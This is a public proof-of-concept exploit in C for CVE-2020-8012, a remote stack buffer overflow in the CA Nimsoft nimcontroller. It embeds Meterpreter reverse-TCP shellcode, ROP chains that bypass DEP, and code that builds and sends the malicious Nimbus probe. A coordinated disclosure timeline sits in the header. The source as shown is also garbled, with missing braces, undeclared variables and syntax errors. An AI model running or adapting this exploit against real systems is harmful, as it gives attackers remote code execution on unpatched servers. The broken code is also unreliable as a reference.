CA Unified Infrastructure Management Nimsoft 7.80 – Remote Buffer Overflow

# Exploit Title: CA Unified Infrastructure Management Nimsoft 7.80 - Remote Buffer Overflow

# Exploit Author: wetw0rk

# Exploit Version: Public POC

# Vendor Homepage: https://docops.ca.com/ca-unified-infrastructure-management/9-0-2/en

# Software Version : 7.80

# Tested on: Windows 10 Pro (x64), Windows Server 2012 R2 Standard (x64)

# CVE: CVE-2020-8012

/**************************************************************************************************************************

* *

* Description: *

* *

* Unauthenticated Nimbus nimcontroller RCE, tested against build 7.80.3132 although multiple versions are affected. *

* The exploit won't crash the service. *

* *

* You may have to run the exploit code multiple times on Windows Server 2012. If you exploit Windows Server 2019 it *

* should work as well just didn't get a chance to test it (reversing other things), I put faith in my ROP chain being *

* universal (worked first try on 2012). *

* *

* Note: *

* *

* This is what it looks like, a fully remote stack based userland x64 exploit (NOT WOW64) and YES this did bypass *

* the stack cookie. WE OUT HERE!!! *

* *

* Compile: *

* *

* gcc poc_release.c -o singAboutMeImDyingOfThirst *

* *

* Shoutout: *

* *

* Xx25, SneakyNachos, liquidsky, Itzik, r4g1n-cajun, FR13NDZ, Geluchat, ihack4falafel, cheshire_jack, the NSA *

* for dropping Ghidra, and my Mentor *

* *

* ----------------------------------------------- ReSpoNsIb1E Di$C10sUrE ----------------------------------------------- *

* 11/07/19 - Vendor contacted (POC code and POC video sent) *

* 11/15/19 - Vendor contacted for update, engineering team unable to reproduce bug *

* 11/20/19 - Vendor cannot reproduce bug, call for a demo scheduled *

* 11/22/19 - Vendor rescheduled to Dec 3rd, claims (<ROAST REDACTED>...) *

* 12/03/19 - Vendor confirms exploitability and vulnerability presence *

* 12/13/19 - Vendor finalizing hotfix *

* 12/19/19 - Vendor hotfix tested against POC code *

* 01/07/20 - Vendor contacted for update on patch and case status, followed up on 01/14/20 *

* 01/21/20 - Vendor replies (awaiting more info) *

* 01/27/20 - Vendor requests exploit code to release in late February to allow customers time to patch *

* 02/XX/20 - PoC sample dropped *

**************************************************************************************************************************/

#include <stdio.h>

#include <stdint.h>

#include <ctype.h>

#include <stdlib.h>

#include <string.h>

#include <getopt.h>

#include <unistd.h>

#include <arpa/inet.h>

#include <sys/socket.h>

#include <netinet/in.h>

/* msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.159.157 LPORT=42 -f c */

unsigned char shellcode[] = \

"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50\x52"

"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"

"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"

"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"

"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"

"\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f\x85\x72\x00\x00\x00\x8b"

"\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b"

"\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41"

"\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1"

"\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45"

"\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b"

"\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"

"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48"

"\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9"

"\x4b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00\x00"

"\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5"

"\x49\xbc\x02\x00\x00\x2a\xc0\xa8\x9f\x9d\x41\x54\x49\x89\xe4"

"\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c\x89\xea\x68"

"\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff\xd5\x6a\x0a"

"\x41\x5e\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89"

"\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5"

"\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba"

"\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5"

"\xe8\x93\x00\x00\x00\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9"

"\x6a\x04\x41\x58\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5"

"\x83\xf8\x00\x7e\x55\x48\x83\xc4\x20\x5e\x89\xf6\x6a\x40\x41"

"\x59\x68\x00\x10\x00\x00\x41\x58\x48\x89\xf2\x48\x31\xc9\x41"

"\xba\x58\xa4\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31"

"\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba\x02\xd9\xc8"

"\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x41\x57\x59\x68\x00\x40"

"\x00\x00\x41\x58\x6a\x00\x5a\x41\xba\x0b\x2f\x0f\x30\xff\xd5"

"\x57\x59\x41\xba\x75\x6e\x4d\x61\xff\xd5\x49\xff\xce\xe9\x3c"

"\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48\x85\xf6\x75\xb4\x41"

"\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2\xf0\xb5\xa2\x56\xff\xd5";

const char *exploited[] = \

{

"10.0.18362",

"6.3.9600",

};

const char *versions[]= \

{

"7.80 [Build 7.80.3132, Jun 1 2015]",

};

/********************************************************************************************************************

* *

* NimsoftProbe: *

* *

* This is the structure used for the packet generator, it will be used specifically as the return type. Within *

* the structure there are 2 members, first the pointer to the packet and secondly the packet length. *

* *

* NimsoftProbe *packet_gen(char *lparams[], int nparams, int exploit_buffer): *

* *

* This function will generate a nimbus probe, taken from nimpack (tool I developed while reverse engineering) a *

* few modifications where made to handle the exploit buffer (mainly since it contains NULLS). *

* *

********************************************************************************************************************/

#define PHLEN 300 /* header */

#define PBLEN 2000 /* body */

#define PALEN 10000 /* argv */

#define FPLEN 20000 /* final probe */

#define CLIENT "127.0.0.1/1337"

#define INTSIZ(x) snprintf(NULL, 0, "%i", x)

unsigned char packet_header[] = \

"\x6e\x69\x6d\x62\x75\x73\x2f\x31\x2e\x30\x20%d\x20%d\x0d\x0a";

unsigned char packet_body[] = \

/* nimbus header */

"\x6d\x74\x79\x70\x65\x0F" /* mtype */

"\x37\x0F\x34\x0F\x31\x30\x30\x0F" /* 7.4.100 */

"\x63\x6d\x64\x0F" /* cmd */

"\x37\x0F%d\x0F" /* 7.x */

"%s\x0F" /* probe */

"\x73\x65\x71\x0F" /* seq */

"\x31\x0F\x32\x0F\x30\x0F" /* 1.2.0 */

"\x74\x73\x0F" /* ts */

"\x31\x0F%d\x0F" /* 1.X */

"%d\x0F" /* UNIX EPOCH */

"\x66\x72\x6d\x0F" /* frm */

"\x37\x0F%d\x0F" /* 7.15 */

"%s\x0F" /* client addr */

"\x74\x6f\x75\x74\x0F" /* tout */

"\x31\x0F\x34\x0F\x31\x38\x30\x0F" /* 1.4.180 */

"\x61\x64\x64\x72\x0F" /* addr */

"\x37\x0F\x30\x0F"; /* 7.0 */

typedef struct {

char *packet;

int length;

} NimsoftProbe;

NimsoftProbe *packet_gen(char *lparams[], int nparams, int exploit_buffer)

{

int index = 0;

int fmt_args;

int lbody = 0;

int largs = 0;

char *tptr;

char pheader[PHLEN];

char pbody[PBLEN];

char pargs[PALEN];

char pbuffer[FPLEN];

char temp_buffer[80];

char *probe = lparams[0];

int epoch_time = (int)time(NULL);

NimsoftProbe *probePtr = (NimsoftProbe*)malloc(sizeof(NimsoftProbe));

fmt_args = snprintf(NULL, 0, "%d%s%d%d%d%s",

(strlen(probe)+1),

probe,

(INTSIZ(epoch_time)+1),

epoch_time,

(strlen(CLIENT)+1),

CLIENT

);

if ((fmt_args + sizeof(packet_body)) > PBLEN) {

printf("Failed to generate packet body\n");

exit(-1);

}

lbody = snprintf(pbody, PBLEN, packet_body,

(strlen(probe)+1),

probe,

(INTSIZ(epoch_time)+1),

epoch_time,

(strlen(CLIENT)+1),

CLIENT

);

for (i = 1; i < nparams; i++)

{

memset(temp_buffer, '\0', 80);

for (j = 0; j < strlen(lparams[i]); j++)

{

if ((c = lparams[i][j]) == '=')

{

memcpy(temp_buffer, lparams[i], j);

index = ++j;

break;

}

tptr = lparams[i];

if ((c = 1, c += strlen(temp_buffer)) < PALEN) {

largs += snprintf(pargs+largs, c, "%s", temp_buffer);

largs++;

} else {

printf("Failed to generate packet arguments\n");

exit(-1);

}

if (index > 0 && exploit_buffer == 0)

{

tptr = tptr+index;

if ((largs + strlen(tptr) + 2) < PALEN)

{

largs += snprintf(pargs+largs, 2, "%s", "1");

largs++;

largs += snprintf(pargs+largs, strlen(tptr)+1, "%d", strlen(tptr)+1);

largs++;

} else {

printf("Failed to generate packet arguments\n");

exit(-1);

}

c = 1, c += strlen(tptr);

if ((largs + c) < PALEN)

{

largs += snprintf(pargs+largs, c, "%s", tptr);

largs++;

} else {

printf("Failed to generate packet arguments\n");

exit(-1);

}

if (index > 0 && exploit_buffer > 0)

{

tptr = tptr+index;

if ((largs + exploit_buffer + 2) < PALEN)

{

largs += snprintf(pargs+largs, 2, "%s", "1");

largs++;

largs += snprintf(pargs+largs, 5, %d", exploit_buffer+1);

largs++;

} else {

printf("Failed to generate packet arguments\n");

exit(-1);

}

c = 1, c += exploit_buffer;

if ((largs + c) < PALEN)

{

memcpy(pargs+largs, tptr, c);

largs += exploit_buffer;

largs++;

} else {

printf("Failed to generate packet arguments\n");

exit(-1);

}

index = snprintf(pbuffer, FPLEN, packet_header, lbody, largs);

index += lbody;

if (index < FPLEN) {

strncat(pbuffer, pbody, lbody);

} else {

printf("Failed to concatenate packet body\n");

exit(-1);

}

for (i = 0; i < index; i++)

if (pbuffer[i] == '\x0f')

pbuffer[i] = '\x00';

if ((index + largs) < FPLEN) {

for (i = 0; i < largs; i++)

pbuffer[index++] = pargs[i];

}

else {

printf "Failed to concatenate packet arguments\n");

exit(-1);

}

probePtr->packet = pbuffer;

probePtr->length = index;

return probePtr;

}

/*********************************************************************************************************************

* *

* int parse_directory(char *response, int length): *

* *

* This function will parse the directory contents, specifically looking for the entry keyword; if found, we can *

* proceed with exploitation. *

* *

* int check_vulnerability(char *rhost, int rport): *

* *

* This function will send a Nimbus probe to the target controller, specifically the directory_list probe. Once *

* sent the returned packet will be parsed by parse_directory. *

* *

*********************************************************************************************************************/

#define PE "(\033[1m\033[31m-\033[0m)"

#define PI "(\033[1m\033[94m*\033[0m)"

#define PG "(\033[1m\033[92m+\033[0m)"

int parse_directory(char *response, int length)

{

int i;

int backup;

int check = 0;

int index = 0;

char buf[80];

struct tm ts;

time_t capture;

if (strncmp(response, "nimbus/1.0", 10) != 0)

return -1;

while (index < length)

{

if (strcmp("entry", (response+index)) == 0)

printf("%s Persistence is an art\n\n", PG);

if (strcmp("name", (response+index)) == 0) {

backup = index;

check = 1;

/* last modified */

for (int i = 0; i < 15; i++)

index += strlen(response+index) + 1;

capture = atoi(response+index);

ts = *localtime(&capture);

strftime(buf, sizeof(buf), "%m/%d/%Y %I:%M %p", &ts);

printf("%12s ", buf);

index = backup;

/* type */

for (int i = 0; i < 7; i++)

index += strlen(response+index) + 1;

if (strcmp("2", (response+index)) == 0)

printf("%7s", " ");

else

printf("%-7s", "<DIR>");

index = backup;

/* name */

for (int i = 0; i < 3; i++)

index += strlen(response+index) + 1;

printf("%s\n", response+index);

}

index += strlen(response+index) + 1;

}

return (check != 1) ? -1 : 0;

}

int check_vulnerability(char *rhost, int rport)

{

int c;

int sock;

int count;

NimsoftProbe *probe;

char response[BUFSIZ];

struct sockaddr_in srv;

char *get_directory_listing[] = { "directory_list", "directory=C:\\", "detail=1" };

probe = packet_gen(get_directory_listing, 3, 0);

if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)

return -1;

srv.sin_addr.s_addr = inet_addr(rhost);

srv.sin_port = htons(rport);

srv.sin_family = AF_INET;

if (connect(sock , (struct sockaddr *)&srv, sizeof(srv)) < 0)

return -1;

printf("%s Verifying vulnerable probe is reachable\n", PI);

send(sock, probe->packet, probe->length, 0);

count = read(sock, response, BUFSIZ);

if (parse_directory(response, count) == 0)

printf("\n%s Target ready for exploitation\n", PG);

else

return -1;

free(probe);

close(sock);

return 0;

}

/********************************************************************************************************************

* *

* char *nimdex(char *haystack, char *needle, int size): *

* *

* This function works similar to strstr, however it was specifically made to index "keys" to their respective *

* "values" within a Nimbus packet. It has only been tested against the get_info packet. *

* *

* int parse_response(char *response, int length): *

* *

* This function leverages nimdex to perform 2 checks. The first check will verify the target operating system *

* has been exploited, the second check will verify the Nimbus controller version is exploitable (or rather has *

* a ROP chain ready). In order for exploitation to succeed only the second check needs to pass, I have faith in *

* my ROP chain being universal. *

* *

* int check_version(char *rhost, int rport): *

* *

* This function will send a Nimbus probe to the target controller, specifically the get_info probe. Once sent *

* the returned packet will be parsed by parse_response. *

* *

********************************************************************************************************************/

char *nimdex(char *haystack, char *needle, int size)

{

int found = 0;

int index = 0;

if (strncmp(haystack, "nimbus/1.0", 10) != 0)

return NULL;

while (index < size)

{

if (strcmp(needle, (haystack+index)) == 0)

found = 2;

else if (found >= 2)

found++;

if (found == 5)

return &haystack[index];

index += strlen(haystack+index) + 1;

}

return NULL;

}

int parse_response(char *response, int length)

{

int i;

int c;

char *ptr;

int check = 0;

int nv = sizeof(versions)/sizeof(versions[0]);

int ne = sizeof(exploited)/sizeof(exploited[0]);

if ((ptr = nimdex(response, "os_minor", length)) == NULL)

return -1;

printf("%s Probe successful, detected: %s\n", PI, ptr);

if ((ptr = nimdex(response, "os_version", length)) == NULL)

return -1;

for (i = 0; i < ne; i++)

if ((strcmp(exploited[i], ptr)) == 0)

check = 1;

if (check != 1)

{

printf("%s Exploit has not been tested against OS version\n", PE);

printf("%s Continute exploitation (Y/N): ", PE);

c = getchar();

if (tolower(c) != 'y')

exit(-1);

printf("%s If exploitation successful, update code!!!\n", PI);

if ((ptr = nimdex(response, "os_version", length)) == NULL)

return -1;

printf("%s Target OS ID: %s\n", PI, ptr);

}

else

printf("%s Target OS appears to be exploitable\n", PI);

check = 0;

if ((ptr = nimdex(response, "version", length)) == NULL)

return -1;

for (i = 0; i < nv; i++)

if ((strcmp(versions[i], ptr)) == 0)

check = 1;

if (check != 1) {

printf("%s Exploit has not been tested against target build\n", PE);

exit(-1);

} else

printf("%s Nimbus build appears to be exploitable\n", PI);

return 0;

}

int check_version(char *rhost, int rport)

{

int c;

int sock;

int count;

NimsoftProbe *probe;

char response[BUFSIZ];

struct sockaddr_in srv;

char *get_operating_sys[] = { "get_info", "interfaces=0" };

probe = packet_gen(get_operating_sys, 2, 0);

if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)

return -1;

srv.sin_addr.s_addr = inet_addr(rhost);

srv.sin_port = htons(rport);

srv.sin_family = AF_INET;

if (connect(sock , (struct sockaddr *)&srv, sizeof(srv)) < 0)

return -1;

printf("%s Sending get_info probe to %s:%d\n", PI, rhost, rport);

send(sock, probe->packet, probe->length, 0);

count = read(sock, response, BUFSIZ);

if ((parse_response(response, count) != 0)) {

printf("%s Probe failed, unable to parse packet\n", PE);

exit(-1);

}

free(probe);

close(sock);

return 0;

}

/*****************************************************************************************************************

* This chain will re-align RSP / Stack, it MUST be a multiple of 16 bytes otherwise our call will fail. *

* I had VP work 50% of the time when the stack was unaligned. *

*****************************************************************************************************************/

int64_t rsp_alignment_rop_gadgets[] = {

[0 ... 19] = 0x0000000140018c42, // ret (20 ROP NOPS)

0x0000000140002ef6, // pop rax ; ret

0x00000001401a3000, // *ptr to handle reference ( MEM_COMMIT | PAGE_READWRITE | MEM_IMAGE )

0x00000001400af237, // pop rdi ; ret

0x0000000000000007, // alignment for rsp

0x0000000140025dab, // add esp, edi ; adc byte [rax], al ; add rsp, 0x0000000000000278 ; ret

};

/*****************************************************************************************************************

* This chain will craft function calls to GetModuleHandleA, GetProcAddressStub, and finally VirtualProtectStub. *

* Once completed, we have bypassed DEP and can get code execution. Since VirtualProtectStub is auto generated, *

* we needn't worry about other Windows OS's. *

*****************************************************************************************************************/

int64_t dep_bypass_rop_gadgets[] = {

// RAX -> HMODULE GetModuleHandleA(

// ( RCX == *module ) LPCSTR lpModuleName,

// );

[0 ... 14] = 0x0000000140018c42, // ret (15 ROP NOPS)

0x0000000140002ef6, // pop rax ; ret

0x0000000000000000, // (zero out rax)

0x00000001400eade1, // mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret

0x0000000000000000, //

[24 ... 33] = 0x0000000140018c42, // ret (10 ROP NOPS)

0x0000000140131643, // pop rcx ; ret

0x00000000000009dd, // offset to "kernel32.dll"

0x000000014006d8d8, // add rax, rcx ; add rsp, 0x38 ; ret

[37 ... 51] = 0x0000000140018c42, // ret (15 ROP NOPS)

0x00000001400b741b, // xchg eax, ecx ; ret

0x0000000140002ef6, // pop rax ; ret

0x000000014015e310, // GetModuleHandleA (0x00000000014015E330-20)

0x00000001400d1161, // call qword ptr [rax+20] ; add rsp, 0x40 ; pop rbx ; ret

[56 ... 72] = 0x0000000140018c42, // ret (17 ROP NOPS)

// RAX -> FARPROC GetProcAddressStub(

// ( RCX == &addr ) HMODULE hModule,

// ( RDX == *module ) lpProcName

// );

0x0000000140111c09, // xchg rax, r11 ; or al, 0x00 ; ret (backup &hModule)

0x0000000140002ef6, // pop rax ; ret

0x0000000000000000, // (zero out rax)

0x00000001400eade1, // mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret

0x0000000000000000, //

[83 ... 92] = 0x0000000140018c42, // ret (10 ROP NOPS)

0x0000000140131643, // pop rcx ; ret

0x0000000000000812, // offset to "virtualprotectstub"

0x000000014006d8d8, // add rax, rcx ; add rsp, 0x38 ; ret

[96 ... 110] = 0x0000000140018c42, // ret (15 ROP NOPS)

0x0000000140135e39, // mov edx,eax ; mov rbx,qword [rsp+0x30] ; mov rbp,qword [rsp+0x38] ; mov rsi,qword [rsp+0x40] ; mov rdi,qword [rsp+0x48] ; mov eax,edx ; add rsp,0x20 ; pop r12; ret

[112 ... 121] = 0x0000000140018c42, // ret (10 ROP NOPS)

0x00000001400d1ab8, // mov rax, r11 ; add rsp, 0x30 ; pop rdi ; ret

[123 ... 132] = 0x0000000140018c42, // ret (10 ROP NOPS)

0x0000000140111ca1, // xchg rax, r13 ; or al, 0x00 ; ret

0x00000001400cf3d5, // mov rcx, r13 ; mov r13, qword [rsp+0x50] ; shr rsi, cl ; mov rax, rsi ; add rsp, 0x20 ; pop rdi ; pop rsi ; pop rbp ; ret

0x0000000000000000, //

[138 ... 143] = 0x0000000140018c42, // ret

0x0000000140002ef6, // pop rax ; ret

0x000000014015e318, // GetProcAddressStub (0x00000000014015e338-20)

0x00000001400d1161, // call qword ptr [rax+20] ; add rsp, 0x40 ; pop rbx ; ret

[147 ... 163] = 0x0000000140018c42, // ret (17 ROP NOPS)

// RAX -> BOOL VirtualProtectStub(

// ( RCX == *shellcode ) LPVOID lpAddress,

// ( RDX == len(shellcode) ) SIZE_T dwSize,

// ( R8 == 0x0000000000000040 ) DWORD flNewProtect,

// ( R9 == *writeable location ) PDWORD lpflOldProtect,

// );

0x0000000140111c09, // xchg rax, r11 ; or al, 0x00 ; ret (backup *VirtualProtectStub)

0x000000014013d651, // pop r12 ; ret

0x00000001401fb000, // *writeable location ( MEM_COMMIT | PAGE_READWRITE | MEM_IMAGE )

0x00000001400eba74, // or r9, r12 ; mov rax, r9 ; mov rbx, qword [rsp+0x50] ; mov rbp, qword [rsp+0x58] ; add rsp, 0x20 ; pop r12 ; pop rdi ; pop rsi ; ret

[168 ... 177] = 0x0000000140018c42, // ret (10 ROP NOPS)

0x0000000140002ef6, // pop rax ; ret

0x0000000000000000, //

0x00000001400eade1, // mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret

0x0000000000000000, //

[187 ... 196] = 0x0000000140018c42, // ret (10 ROP NOPS)

0x0000000140131643, // pop rcx ; ret

0x000000000000059f, // (offset to *shellcode)

0x000000014006d8d8, // add rax, rcx ; add rsp, 0x38 ; ret

[200 ... 214] = 0x0000000140018c42, // ret (15 ROP NOPS)

0x00000001400b741b, // xchg eax, ecx ; ret

0x00000001400496a2, // pop rdx ; ret

0x00000000000005dc, // dwSize

0x00000001400bc39c, // pop r8 ; ret

0x0000000000000040, // flNewProtect

0x00000001400c5f8a, // mov rax, r11 ; add rsp, 0x38 ; ret (RESTORE VirtualProtectStub)

[221 ... 237] = 0x0000000140018c42, // ret (17 ROP NOPS)

0x00000001400a0b55, // call rax ; mov rdp qword ptr [rsp+48h] ; mov rsi, qword ptr [rsp+50h] ; mov rax, rbx ; mov rbx, qword ptr [rsp + 40h] ; add rsp,30h ; pop rdi ; ret

[239 ... 258] = 0x0000000140018c42, // ret (20 ROP NOPS)

0x0000000140002ef6, // pop rax ; ret (CALL COMPLETE, "JUMP" INTO OUR SHELLCODE)

0x0000000000000000, // (zero out rax)

0x00000001400eade1, // mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret

0x0000000000000000, //

[268 ... 277] = 0x0000000140018c42, // ret (10 ROP NOPS)

0x0000000140131643, // pop rcx ; ret

0x0000000000000317, // (offset to our shellcode)

0x000000014006d8d8, // add rax, rcx ; add rsp, 0x38 ; ret

[281 ... 295] = 0x0000000140018c42, // ret (15 ROP NOPS)

0x00000001400a9747, // jmp rax

[297 ... 316] = 0x0000000140018c42, // ret (do not remove)

};

/********************************************************************************************************************

* *

* int generate_rop_chain(unsigned char *buffer, int gadgets, int64_t rop_gadgets[]): *

* *

* This function will generate a rop chain and store it in the buffer passed as the first argument. The return *

* value will contain the final ROP chain size. *

* *

********************************************************************************************************************/

#define RSP_ROP (sizeof(rsp_alignment_rop_gadgets)/sizeof(int64_t))

#define DEP_ROP (sizeof(dep_bypass_rop_gadgets) / sizeof(int64_t))

int generate_rop_chain(unsigned char *buffer, int gadgets, int64_t rop_gadgets[])

{

int i, j, k;

int chain_size = 0;

for (i = 0; i < gadgets; i++)

for (j = 0, k = 0; j < sizeof(rop_gadgets[i]); j++)

{

*buffer++ = ((rop_gadgets[i]>>k)&0xff);

chain_size++;

k += 8;

}

return chain_size;

}

#define MAX_EXPLOIT_BUFFER 9000

unsigned char *generate_exploit_buffer(unsigned char *buffer)

{

int r1, r2, c;

char rop_chain[20000];

unsigned char *heapflip = "\x3d\xfd\x06\x40\x01\x00\x00\x00";

memset(buffer , 0x41, 1000); // Offset

memset(buffer+1000, 0x0F, 33);

memcpy(buffer+1033, heapflip, 8); // HeapFlip - pop rsp ; or al, 0x00 ; add rsp, 0x0000000000000448 ; ret

memset(buffer+1041, 0x41, 7); // Adjustment for the initial chain

/* generate the first rop chain to perform stack alignment */

r1 = generate_rop_chain(rop_chain, RSP_ROP, rsp_alignment_rop_gadgets);

memcpy(buffer+1048, rop_chain, r1);

c = r1 + 1048;

/* adjust for second stage */

memset(buffer+c, 0x57, 631);

c += 631;

/* generate the second rop chain to perform DEP bypass */

r2 = generate_rop_chain(rop_chain, DEP_ROP, dep_bypass_rop_gadgets);

memcpy(buffer+c, rop_chain, r2);

c += r2;

/* ROP CHAIN MUST BE 3500 BYTES OR EXPLOITATION WILL FAIL */

memset(buffer+c, 0x45, (3500 - (r1 + r2 + 631)));

c += (3500 - (r1 + r2 + 631));

memcpy(buffer+c, "kernel32.dll\x00", 13);

c += 13;

memcpy(buffer+c, "VirtualProtect\x00", 15);

c += 15;

/* NOPS */

memset(buffer+c, 0x90, 500);

c += 500;

/* shellcode */

memcpy(buffer+c, shellcode, (sizeof(shellcode)-1));

c += (sizeof(shellcode)-1);

/* filler */

memset(buffer+c, 0x10, (8000 - c));

return buffer;

}

#define MAX_ARGUMENTS 5

void help()

{

printf("usage: ./singAboutMeImDyingOfThirst [-h] [-t TARGET] [-p PORT] [ARG=VAL]\n\n");

printf("Sing About Me Im Dying Of Thirst - A nimcontroller's worst nightmare\n\n");

printf("optional arguments:\n");

printf(" -h, --help show this help message and exit\n");

printf(" -t TARGET, --target TARGET target host to probe\n");

printf(" -p PORT, --port PORT nimcontroller port\n\n");

printf("examples:\n");

printf(" ./singAboutMeImDyingOfThirst -t 192.168.88.130 -p 48000\n");

exit(0);

}

int main(int argc, char **argv)

{

int c;

int sock;

int rport;

NimsoftProbe *probe;

struct sockaddr_in srv;

char *rhost, *port;

char *params[MAX_ARGUMENTS];

unsigned char *exploit_buff;

unsigned char buffer[MAX_EXPLOIT_BUFFER];

unsigned char final_buffer[MAX_EXPLOIT_BUFFER] = "directory=";

char *exploit[] = { "directory_list", final_buffer };

while (1)

{

static struct option long_options[] =

{

{"help", no_argument, 0, 'h'},

{"target", required_argument, 0, 't'},

{"port", required_argument, 0, 'p'},

{0, 0, 0}

};

int option_index = 0;

c = getopt_long (argc, argv, "ht:p:", long_options, &option_index);

if (c == -1)

break;

switch(c)

{

case 't':

rhost = optarg;

break;

case 'p':

port = optarg;

break;

case 'h':

default:

help();

break;

}

if (argc < 5)

help();

rport = atoi(port);

if (check_version(rhost, rport) != 0) {

printf("%s Failed to connect to target host\n", PE);

exit(-1);

}

if (check_vulnerability(rhost, rport) != 0) {

printf("%s Target failed vulnerability tests\n", PE);

exit(-1);

}

printf("%s Generating evil nimbus probe, we're watching\n", PI);

exploit_buff = generate_exploit_buffer(buffer);

memcpy(final_buffer+10, exploit_buff, 8000);

probe = packet_gen(exploit, 2, 8000);

printf("%s Sending evil buffer, R.I.P RIP - wetw0rk\n", PG);

if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)

return -1;

srv.sin_addr.s_addr = inet_addr(rhost);

srv.sin_port = htons(rport);

srv.sin_family = AF_INET;

if (connect(sock , (struct sockaddr *)&srv, sizeof(srv)) < 0)

return -1;

send(sock, probe->packet, probe->length, 0);

free(probe);

close(sock);

}

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